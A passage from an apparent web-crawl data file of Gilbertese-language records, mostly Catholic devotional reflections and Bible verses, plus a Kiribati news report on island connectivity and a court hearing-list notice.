kananoanga? Ngkana ti kan kaota Iesu nakoia ao ti na riai ni n tauraoi ni katokai i aora aroia n rawawata ao n namakina te kainnano iroura inanon karaoan ara makuri n ibuobuoki nakoia. Bon iai ana kibu ni koora St Vincent de Paul are e kangai, \"Ti na kaota tangiran te Atua ni uaan ara makuri ni baira ao man maonon ramara\". E taku naba Mother Teresa ba \"ti riai n tangira ni karokoa ae ti rotaki n te maraki\". Bon aikai aekani makuri aika ti kakoaua ba ti kona iai n roota Nanon ke Buroon te Atua, ao boni ngaia ngkanne kawain reken ana kakabaia te Atua ni maiura. Ngkana ti kauring ana taeka ni kakabaia Iesu ao ti kona ni kakoaua ba e na baroira taian kakabaiaki mairoun te Atua ngkana ti kakaraoa te makuri n tangira ma te nanoanga.\nTi na manga butia te Uea ba E na anganira te matairiki ni kona n nora Iesu ibuakora rinanoia kainnano ao n tauraoi ni kabanei maiura ibukin karaoani makuri n ibuobuoki nakoia tarira ma manera. Ngkana ti karaoa aio ma te nano ni koaua ao e na kona n noraki i roura bannan ni koaua Iesu are E na kona n ringi maiua aomata ba a na manga okira te Atua inanon te rairannano.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/108-bannan-iesu-i-buakora","date":"2024-04-21T23:33:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00353.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":348,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E rangi ni kakawaki aron mengaraoin nanora n tainako ba e na itiaki ao e na rau man raoi, ao e na aki kiriwe, ba ti ataia ba e maeka inanora Iesu ngkana e raoi nanora ao ti namakina ana Tangira.\nTi ataia naba ba ngkana iai te aki rau ao te kiriwe ao iai teuare e buakaka are e kataia n tautaeka inanora.\nTi kakoaua ba ana bai ni buakanira bon kakiriwean nanora n te un, te kairiribai, te tabeaianga, te kaibabaru ao a bon rangi ni maiti riki.\nAio ana tibatiba Santo Baraniko (St Francis de Sales) ibukin arora ni aki katokanikaia te un, ao e na bon ibuobuoki naba n anganira te tokanikai iaon kakiriwe ake ana anaa te raoi mai nanora.\n\"Ko titiraki ba ko na kanga n totokoa te un? N te tai are ko namakina iai angin te kairiribai ma te un, ao angita korakoram ni kabane, tiaki ni kawaekoa ma karaurau ao nanonna raoi. Ba n aiaron tabo ni kabowi tabeua, ao nake nakoaia te karekea te rau, e korakora riki aia tatakarua ni kataia ni katoka te karongoa, nakoia nake a karongoa. Ma ngaia are ngkana ti rokonnano n ara waki n totokoa unra, ao ti na karekea riki te kiriwe inanora nakon are imaina, ao n te tai are e bure iai baerantin mengaraoin nanora, ao e na bua inaomatana.\"(St Francis de Sales).\nTi a taraa nanon ana ibuobuoki Santo Baraniko aio ao ti kona ni kauaea n itera aika a maiti ba ngaia ana ibuobuoki ibukin kairan maiura nakon rikirakera n te maiu ae e tabu iaonteaba.\nE kaungaira ba e riai ni maeka inanora Iesu n tainako. Maekan Iesu inanora bon ti ngkana ti reireinira arora n babaina te taonannano ma tiaki te rokonnano; te kainabaabu ao tiaki te karongoaa, te karaurau ma n nanona raoi te bai ae ti karaoia ma tiaki te teruarua ke te kabarabae.\nTi a butia Iesu n te bong aio ba e na anganira korakorana, ba ti na kaitarai iai baika ana urua nnena inanora ao n urua marenara ma Ngaia. Ti a butia ba e na karikirakea arora aio ni kaitaraa te un ma kakiriwe ma kariri nako, ba e na reke ba kairan maiura ba ti na uaia ni mengaraoi ma Ngaia inanora n tainako. Tia bon butia naba Santo Baraniko ana tataro n ibuobuoki ibukira ao ba e na raonira ni kaitarai unra ao kataakira, n ana kawai aio n tainako.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/105-te-nano-ae-itiaki-kimareirein-nanon-te-atua","date":"2024-04-21T23:01:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00454.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":411,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E tangiria te Atua ba ti na reitaki moa ni koaua ma Ngaia n te nano ae ti teuana, inanon koburaken ao m'akan ana Tangira ae Natina ae Iesu, n te reitaki n aiaron ana reitaki te karo ma natina ba ti aonga ni kona ni karaoa raoi kabeabeanakira Irouna.\nNgke a titiraki ana reirei Iesu nakoina aron aia tataro ao e reireinia, ao E angnia te tataro anne ma te moan kibu are e kangai, \"TAMARA ARE I KARAWA...\"\nTi nora aron kororaoin te reitaki imarenan te karo ma te nati iroun Iesu. E aki kabatia arona Iesu nakon Tamana ibukin kamaiuakira ma kamaiuakia tarira ao manera nako, ma e ongotaeka inanon koburaken ana Tangira ibukira, n aron te tiibu, ao e kataui bai nako, ao e kabanea are bon Ngaia inanon reitakina ma Tamara are i Karawa. Aio naba arora nakon Tamara ae te Atua, ae te Teniman n Temanna, ao arora ngkana E kabeabeanira, ae ti na ururingnga ao ni katotongnga.\nMan te wareboki n te bong aio ao e oti ba e kakabatia arona Iona imatan te Atua. E birinako ni karabaa n rawa ni kabeabeanakina ba e na buoka kamaiuakia kain Niniwe. E a kaman noria te Atua ngke e karaba i tamaroo i kabin te kaibuke, ao e karekea te buaka i taari ngkai bon akea te bai ae e aki kona ni karaoia ke e kona n raba mai Imatana. E rairannano Iona ao e butia te Atua buokana mai buuan te ika ao e nanoangaia te Atua. E karaoa bukinana Iona ao e kawaria kain Niniwe. Ngke a rairannano uean Niniwe ma ana botanaomata ao a kamaiuaki man te rekenikai, ma e a riki ba unin Iona! E kaekaki Iona iroun te Atua.. \"Ko taku e eti unim?\"\nA bane naba n rereke nano aikai iroura n te aro are ti aki karaoi raoi ara makuri ba ti a manga taui ake bon Nakoana. A maiti ana titiraki te Atua ake tao e na kona n titirakina riki Iona. \" Ko taku eti ae kona bakabureiko ba am bai maium ao ko kaakeai ae I karikiko ao akea tian m'akau.?\" \"Ko taku eti ae ko kamoamoa ba ko rietata nakoiu?\" \"Ko taku e eti am kairiribai ba ko kororaoi riki nakoiu?\" \"Ko taku eti ae ko na birinako ni karabako ba I aki noriko?\" \"Ko taku ko na baka n aki ongo ba I aki ataia?\".....\nN tokin te karaki ao e kaotia te Atua ba e tangiria natina ni kabane ao e aki kona ni motikitaekaia ngkana a rairannano ni koaua n aroia kain Niniwe, ma e kabeabeanira ba ti na uouota ana rongorongo ae raoiroi Ibukina n tainako ke ni katoa minitin ikeikera.Ti aki kona n raba mai matana ba e norira n tabo nako ao iai bukin karikara irouna ba ti bane ni bongana Irouna, Ngaia ae Tamara.\nTi a butia te Atua ae Tamara, inanon kororaoin Ana Tangira ae ara Uea ae Iesu, ana karatia, ba e na reitira ma Ngaia ni M'akan Tamneina, n te namakin ae Ngaia Tamara ae e m'aka, e tabu e mimitong, e tangira ao e raonira ni ngaina ao ni bong. Ti na butia ana karatia ba ti na kona naba ngaira n namakina raoi aron te natinaki ni koaua irouna n tainako ba ti na karaoi kabeabeanakira Irouna ni katoa minitin maiura n te aro ae e kororaoi man tamaroa.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/116-tamara-are-i-karawa","date":"2024-04-22T00:48:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00812.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":568,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Teaiben Nomeneta\nUekera-News Reporter\nMaroro ma Meeia\nN te Katenibong te wiiki ae e nako ao e waaki te marooroo ae teuana bongina imarenaia Meeia ma bonomwii ni Meeia mai iaon aban Kiribati aika a kakaokoro iaon katamaroan te toma ke 'connectivity' – katomaakin abamwakoron Kiribati aika kakaokoro, are e waakinaki n teuana ana umwanreirei te Marine Training Centre i Betio.\nN ana marooroo te Tia Koroboki man te Botaki ni mwakuri ibukin Rongorongo, Itoman, ao Mwamwananga ae Mitateti Moote ao e katurua bwa oin te marooroo aei e boboto iaon rabakau aika a boou.\nE taku Mitateti bwa rabakau aika boou aika ana tibwaaki nakoia Meeia aikai e na buoka ana taakete te bootaki ni mwakuri are bon kamanoan te toma aio.\n\"Ngaira bon oin tabera ti araraniira bwa e 'Bwebwe mai iai te Reitaki', ao te reitaki e a bon moa naba mai taari, te bao ni mwamwananga, te reitaki iaon te aba, bon bao ni mwamwananga naba mai aon te aba, te reitaki i aan karawa, te wanikiba, ao te reitaki naba n tibwaakin rongorongo rinanon te rabakau aika a boou, te tareboon ao te intanete,\" e taku Mitateti.\n\"Aikai oin tabera, ao n oin tabera aikai ao e kakawaki bwa ngkana ti karaoa te reitaki ke te toma, katomaakin ara abamwakoro ke katomaakin Kiribati (te katomatoma inanoaa) ao katomaakira ma te aonnaba, ao e kakawaki bwa ana mano ara botannaomata n taai nako.\n\"Ti na kakoaua raoi bwa e reke aron katomaakin te I-Kiribati, ao katomaakina anne e na tan ao e na mano, akea ae e na kabuanibwai iai.\"\nE taekinna naba Mitateti bwa te marooroo are e waakinaki n te tai anne e na boboto iaon te rabakau ae boou.\n\"E mwaiti ana karikirake ami tautaeka ae karaoi ibukin te katomatoma, teuana mai ibuakona karokoakin taian tareboon i aon aba (Mobile phones).\n\"N te tai aio ao ai bon tii uoua te abamwakoro ae e tuai karokoaki ana tareboon bwa Tabuaeran ao Teraina.\" E kamatoa bwa inanon namwakaina aikai ao e na waaki te karikirake aei ibukin katomaakiia kain aba aikai.\n\"Abamwakoron Kiribati ni kabane a bane n tia n roko aia tareboon n raonaki ma aia intanete ibukin te toma ma te aonnaba.\n\"Ti kakoaua bwa e ngae ngke e a roko iai ma e tuai n roko n tamaroana, bwa bon akea tokin te tamaroa, ara Minitita e aki toki n tataekinna ae akea tokin te tamaroa ma iai tokin ara konabwai are e anganiira ara Uea.\n\"Ao n te tai aio ao ti na kataia n uaiakina tokin ara kabanea ni konaa, ti na teimatoa ni mwakurii aikai ma ngkamii, ao aio kakawakin te tai aio ngkai kam roko irarikira.\"\nE taekinna naba bwa te botaki ni mwakuri ke te tautaeka n ti ngaia e aki kona ni kakoroi nanon tobwaakin ana kainnano te botannaomata, ma ngkana e uaia te ikarekebai ao e na kona n reke te ibuobuoki riki ae tawe ao karokoan riki ana ibuobuoki te tautaeka nakoia te botannaomata.\n\"Ngaira naba man te botaki ni mwakuri ti kona n aki atai kanganga ake kam bon mena inanona ngkami aika kam roko n te tai aio ara Meeia aika kam karineaki.\n\"Kam bon bane n noori kanganga ni katoa bong are a kaitibo ma ngaia ami botannaomata, tao n te tai teuana ao ti na taku bwa e a tia n tobwaaki ami kanganga ma ngaia ti aki nooria bwa ti bon raroanako mai irarikimii.\"\nE taku riki bwa e kakawaki te tai aei bwa e na reke te tamaroa man te uaia ni marooroo are e na karaoaki.\nIrarikin are bon oin te marooroo are iaon rabakau aika a boou, ao iai naba reitakina ma kabwaranakoan ana tieweti te tabo ni mwakuri are e karoko n abamwakoron Kiribati aika a kakaokoro.\nA bane n roko Meeia ma bonomwi mai Makin nako Arorae, n reitaki ma te aono n Raina, ma ti Tabuaeran ao Teraina are e aki reke rokoia n te marooroo aio.\nE ngae n anne, ao e katurua riki te Tia Koroboki bwa te kantaninga n te marooroo aio bwa e na katamaroa te reitaki are e a tia iai ngkai n toma Kiribati ike e a kona naba ni kaekai kanganga ake a aitara ma ngaia kain abamwakoro aika kakaokoro are irekereke ma te reitaki ke te toma anne - iaon te mobile tareboon ao te intanete.\nYour email address will not be published. Required fields are marked *","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/adp.bpa.org.ki\/blog\/marooroo-ma-meeia-kamanoan-aia-reitaki-abamwakoron-kiribati","date":"2024-04-19T03:43:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817253.5\/warc\/CC-MAIN-20240419013002-20240419043002-00507.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":741,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"These are the cases that are now ready to be heard before the Honorable Acting Chief Justice Tetiro Semilota Maate Moaniba for the week commencing 6th to 9th June 2023 at High Court Room 1.\nAikai keiti aika a tauraoi ngkai n ongoraeaki imatan te Bonomwi ni Mataniwi n Tia Moti n te Bowi ae Rietata ae Tetiro Semilota Maate Moaniba ibukin te wiiki ae moa man 6 n Tuun ao n toki n 9 n Tuun 2023 n te Bowi ae Rietata\".","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/kiribatijudiciary.gov.ki\/index.php\/hearing-lists\/high-court-hearing-list-2023\/june-cases-2023","date":"2024-04-12T23:36:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816465.91\/warc\/CC-MAIN-20240412225756-20240413015756-00742.warc.gz","language":"gil","language_score":0.9999597073,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999597072601318}","num_words":78,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.282,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bon nanon te Uea ibukira ba ti na riai ni kariki ua. Te kai ni kurebe kanga bon nanora n tatabemanira are e a tia ni katauraoia man ununiki iai te Atua ba e na kariki ua; E a tia naba naba ni katea te o iai ba e na tuuki taian kabuanibai. Te o aio boni ngaia katanara ake ti anganaki inanon taian tua ao irouia anera ake taan kawakinira. Ti anganaki naba katanara ao tararuakira inanon te Ekaretia. E kairira naba te Atua nakon iangoan baini Karawa rinanon maiua aomata aika a tabu ao E anganira te kona n rikirake inanon te tangira n reitakira ma tarira ma manera.\nMa ti na kanga ngkanne ni kariki ua? Ti na kariki ua ngkana ti kona ni kouti taian uteute\/titania ake a na karibabai ara iango- aio bon te kainaomataaki man katabetaben te maiu aio ake a na katinebuira. Ba ngkana ti inaomata man kaubain te maiu aio ao ti a kona ngkanne ni maiu raoi mani katotonga te kai ni kurebe are e tabe n tamarake ba e na karekei bai ni Karawa. Ao ngkana ti tamarake nako Karawa ao ti inaomata man bain aonteaba ao ti na kona ni kariki ua aika raraoi.\nTariu ma maneu, ti na manga motinnanoia ngkanne inanon te namakaina aio ba ti na kariki ua n aiaron are kantaningaia te Uea. Ti butia Nei Maria ana buoka inanon karikirakean tangiran te korona. Ti na kona ni kariki ua ngkana ti rairaki nakon te Uea mani butia buokara ao ngkana ti kainaomataira man katabetaben te maiu aio ao ni kabanei ara tai ni baini Karawa. N aiaron ae kauringira St Bauro n ana reta nakoia i Biribi, ti riai n teimatoa ni karaoi baai ni kabane ake ti a tia n anganaki man ongo iroun Iesu. Ti riai n taai nako ni kakoaua ba E maiu te Uea inanora ao bon Ngaia ae E mamakuri inanora. N te aro aio ao ti na aki toki n namakinna ba E maiu ni koaua inanora ana Raoi te Atua. Ngkana ti aki kariki ua ao ti riki ba kai ni kurebe ake a na taobekaaki nako ao man koreaki ao ni kabuekaki ba akea manenaia.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/115-te-kariki-ua-n-te-o-ni-kurebe","date":"2024-04-21T23:03:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00432.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":369,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:10\n10 ngkai baikai, a tabe ma taekan ti taian amwarake ma ninima ma taian teboka nako, aika tuua ibukin te rabwata aika a na karaoaki ni karokoa te bong are a na oneaki iai nakon aika a raraoi riki.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/10","date":"2013-05-21T22:09:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700795821\/warc\/CC-MAIN-20130516103955-00058-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999909401,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999909400939941}","num_words":58,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.31,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Mai irouni Bwauro, ae ana tia tuatua Kristo Iesu n nanon te Atua, ao mai iroun Timoteo ae tarira, 2 nakoia ake a itiaki i Korote, ake taari aika a kakaonimaki n aroia n iriira Kristo: 3 Ti aki toki ni katituaraoa te Atua ae Taman ara Uea are Iesu Kristo n ara tataro i bukimi, 4 ngkai ti ongo taekan onimakinani Kristo Iesu iroumi, ma tangiraia ake a itiaki ni kabaneia iroumi, 5 ibukin te kaantaninga are e kamenaaki i mwaaimi i karawa; are kam ongo taekana ngke kam moa n onimakina taekan te koaua, ae bon te euangkerio, 6 are e roko iroumi ao i aonnaba ni kabane: ao e kariki uaa ma n rikirake naba i nanomi man te bong are kam ongo taekana iai, ao n ataa raoi ana aakoi te Atua n arona ni koaua. 7 N ai aron are kam reireiaki iai iroun Ebwabera are raora ni mwakuri ae e tangiraki, ae ana tia mwakuri Kristo ae e kakaonimaki, ae e onoi mwiira N ni mwakuri. 8 Boni ngaia naba are e kaota nakoira aron ami tangira are kam anganaki iroun te Taamnei. 9 Ma ngaia ae ti aki toki naba n tataro i bukimi, man te tai are ti ongo iai taekami, ao ti aki toki ni butiia te Atua bwa kam na kaonaki n ataakin nanona, ao n te rabakau ma te ataibwai ni kabanea are mai iroun te Taamnei, 10 bwa kam aonga ni karaoi baika a booraoi ma nanon te Uea, aika E na kukurei iai, n aromi ni karaoi mwakuri nako aika a raraoi; ao bwa kam aonga n ataa riki aron te Atua, 11 ngkai kam kakorakoraaki n te kakorakora ni kabanea, are e nako mani mwaakana ae e kamiimii, bwa e aonga n reke iroumi te nanomwaaka ni kabanea ma te taotaonaki n nano ma te kimwaareirei; 12 ao bwa kam na katituaraoa te Tama, are e karaoingkami bwa kam na tau ni karekea tibwangami n te baere E a tia ni kaawakinna te Atua bwa aia bwai ana aomata aika a itiaki ake n te oota. 13 E a tia ni kamaiura mani mwaakan te roo, ao E uotira nako aan ana tautaeka Natina are e tangiraki; 14 are e reke mai irouna kainao-matakira—ae nanona, bwa a kabwaraaki ara bure. 15 Kristo boni katootoongan te Atua ae e aki noonooraki, ao bon te moa n Nati ae e kakannato i aoni bwaai ni kabane aika a karikaki. 16 Bwa a karikaki bwaai ni kabane mai irouna, ake i karawa ma ake i aon te aba ake a nooraki ma ake aki nooraki, ma baika iai mwaakaia ma aroia n tautaeka; a bane ni karikaki mai irouna, ao ibukina. 17 Iai Ngaia i mwaaini bwaai ni kabane, ao a nako raoi aroni bwaai ni kabane n reitaki irouna. 18 Ao Ngaia bon atuun te rabwata, ae te ekaretia; Ngaia ae e reke mai irouna maiun te ekaretia, ao te moa n Nati ni kamaiuaki man te mate, bwa e aonga ni moanibaan te kakannato i aoni bwaai ni kabane. 19 Bwa boni man nanon te Atua ae e reke iai iroun te Nati aron te Atua ni kabane; 20 ao bon nanona naba bwa E na raoiakini bwaai ni kabane nakoina irouna, aika i aon te aba ma ake i karawa; ao E karaoa aei ni maten Natina i aon te kaibangaki. 21 Ao ngkami, kam raroa nako ngkoa mai iroun te Atua, ao kam ribaia i nanomi ibukin ami mwakuri aika a bubuaka; 22 ma ngkai, E raoiakiningkami n rabwatan natina ni matena, bwa E aonga ni kaakiingkami i matana bwa aomata aika a itiaki aika akea aia kaairua ma kabuaakakaaia. 23 Ma kam bon riai ni matoatoa ma n nene n ami onimaki, ao kam na aki kamwaingaki man te kaantaninga are e reke iroumi ngke kam ongo taekan te euangkerio; are e tataekinaki nakoia aomata ni kabaneia i aonnaba ni kabutaa ao are I riki iai, ngai ae Bwauro, bwa te tia mwakuri ibukina. 24 I kimwaareirei ngkai ni marakiu i bukimi, bwa I a konaa ni kakororaoa iai marakin Kristo ni marakin rabwatau ibukin rabwatana, ae te ekaretia; 25 are I riki iai bwa te tia mwakuri n ai aron te nakoa are I anganaki mai iroun te Atua i bukimi, bwa N na kabanea ana taeka te Atua n taekin, 26 are te baere e raba, are e karabaaki ma ngkoangkoa ao mai irouia rooro nako; ma ngkai, e a kaotaki nakoia ana aomata aika a itiaki. 27 E karaoa aei te Atua bwa E tangiringkami aika tiaki I-Iutaia bwa kam na ataa te baere e raba ae e kamiimii ae e mimitong; ao te bae e raba aei boni Kristo i nanomi, are Ngaia ami kaantaninga bwa e na reke neboami. 28 Boni ngaia are ti tataekinna, n tuatuangiia aomata ni kabaneia ma n reireiia n te rabakau ni kabane, bwa ti aonga ni kaotiia aomata ni kabaneia bwa a ikawai ni maiuia n reitaki ma Kristo; 29 ao anne bukin ae I kekeiaki mwaaka naba ni mwakuri, ao I kamanenaa te korakora ae e bati are E anganai Kristo, ao ae e mwamwakuri i nanou.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1","date":"2013-06-19T17:13:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708946676\/warc\/CC-MAIN-20130516125546-00095-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":837,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:19\n19 Ao N na bon ninikoria naba n taekina aroni Kristo ni karaoani kanikina ma mwakuri aika a kamiimii ni mwaakan te Taamnei are e Raoiroi. Ma ngaia are ni mwanangau nakon taabo nako ake I a tia n roko iai, mai Ierutarem ni karokoa aonon Iruriko, ao I a tia n tataekina euangkerioni Kristo.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/19","date":"2013-05-21T16:01:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700168711\/warc\/CC-MAIN-20130516102928-00037-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000009536743164}","num_words":74,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:11\n11 Ma E a tia n roko Kristo bwa te Ibonga ae e Kakannato ibukini baika a raraoi aika a kamani mena ikai, ao E nako n ri nuukan te umwanrianna ae e kakannato riki ma n raoiroi riki, ae e aki karaoaki ni bain te aomata, ao tiaki bwain aon te aba;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/11","date":"2013-05-24T14:12:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704664826\/warc\/CC-MAIN-20130516114424-00059-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":72,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.361,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngke ti a maiu bwa ti a roko n te aba, ao ti a ataa te abamwakoro arei bwa ngaia Merita arana. 2 E rangi ni moamoa aroia n aakoinakoira kaain te aba arei: bwa a kauraa te ai ao a butimwaaira n akoira, ibukina ngke e kakarau ao e kamariri. 3 Ngke e anai boota n aia Bwauro ni kabwakai i nanon te ai, ao e oti nako te naeta mai buakon aia akekei ibukin te kabuebue, ao e nimta baini Bwauro. 4 Ngke a noora te naeta n tinetine ni baini Bwauro, ao a i taetae irouia kaain te tabo arei, ni kaangai, Bon te koaua bwa te tia tiritiri te aomata aei: bwa e ngae ngke e reke maiuna mai tari, ma e aki kariaia antin te kaeti-taeka bwa e na maiu. 5 E ioa nako te man arei Bwauro mai baina nako nanon te ai, ao akea marakina i mwiina. 6 A kaantaninga Bwauro te koraki arei bwa e na tibu ke e na bwaka ni mate n te tai naba arei; ma ngke a maan ni kakaantaninga ao a nooria bwa akea te rekenikainakoina, ao a bita nanoia n taku bwa te anti ngaia. 7 E kaan te tabo are a mena iai Bwauro ma raona, ma abani mataniwiin te abamwakoro arei, ae Boberio arana; e butimwaaira ao e karaoi mwakuri n aakoi aika ti na kakukureiaki iai i nanon teni bong. 8 I nanon ara tai n tiku ikai, ao e wene tamani Boberio, bwa e taonaki n te aoraki ae te kabuebue ae e rooroko ni korakora, ma te bekararaa. E rin ni kawaria Bwauro, ao e tataro ni katokai baina i aona, ao e kamaiuaki man aorakina. 9 Ngke e riki arei, ao a roko naba tabemwaang ake a aoraki n te abamwakoro arei, ao a kamaiuaki. 10 A karineira n aaro ni karinerine aika a bati; ao ngke ti nangi borau, ao a katokai baika a riai i bukira bwa ara tianaki. 11 I mwiin teniua namwakaina ao ti toka ni kaibuken Arekanria ae arana Riotikouri, ae e kabanea bongin te aumeaang n te abamwakoro arei. 12 Ao ngke ti aerake i Turakuta, ao ti tiku iai teni bong. 13 Ti borau ngkanne maiai ni kaararake, ao ti roko i Rekio; ao i mwiin teuana te bong ao e wai te angi maiaki. Ao n te bong are i mwiina ao ti roko i Buteori. 14 Ti kaaitibo iai ma taari, ao ti butiaki bwa ti na mena irouia itibong; ao ai ngaia anne aroni kawaira n roko i Rom. 15 Ngke a ongo taekara taari ake i Rom, ao a roko ni butimwaaira temwaangina n ana tabo ni mwaakete Abia, ao temwaangina n te tabo ae e aranaki bwa Auti-n-iruwa-aika-tenua; ao ngke e nooriia Bwauro ao e katituaraoa te Atua, ao e kauungaaki nanona irouia. 16 Ngke ti rin i Rom, ao e kariaiakaki Bwauro bwa e na maeka n ti ngaia ma te tautia temanna are e teeteiakinna. 17 I mwiin teni bong, ao e kaoiia ake a kakannato i buakoia I-Iutaia Bwauro bwa e na maroro ma ngaiia; ao ngke a bootaki, ao e taku nakoia, Mwaane, taari, e boni ngae ngke akea te bae I karaoia n eekaanako iai au bootanaomata ma aia katei ara bakatibu, ao I a tia ni kanakoaki mai Ierutarem nako nanoni baiia I-Rom bwa te bure ngai; 18 ao ngaiia ngke a a tia n ukoukora aron taekau, ao a iangoia bwa a na kainaomataai bwa akea riainibukin te bwai are e riai mateu iai. 19 Ma a rawa iai I-Iutaia, ma ngaia are I a kairoroaki iai bwa N na atonga kautuun te tautaeka n Rom bwa te tia motika taekau, e ngae ngke akea tangu ae N na uotia ni kabuaakakaiia iai au bootanaomata. 20 Ao bon aei bukin are I kaoingkami iai, bwa N na nooringkami, ma n taetae nakoimi: bwa I kabaeaki n te taurekereke aei ibukin aia kaantaninga Iteraera. 21 Ao a taku aomata akekeinakoina, Akea reeta aika a tia n reke iroura mai Iutaia ibukin taekam, ao akea naba irouia ara koraki ae e roko ikai n tuangiira ke n taekina arom ae e buaakaka. 22 Ma ti kan ongo mai iroum am iango, bwa n aron ae e ataaki iroura ao e taekinaki ni kabuaakakaaki te Aro aei n taabo nako. 23 A kotea aia bong ma Bwauro, ao a kawaria aomata aika a bati riki ni nnena ni maeka n te bong anne. E waaki ma ngaiia man te ingabong ni karokoa ae e bong, ni kabwarabwaraa nakoia taekan uean te Atua; ao e kataia n anai 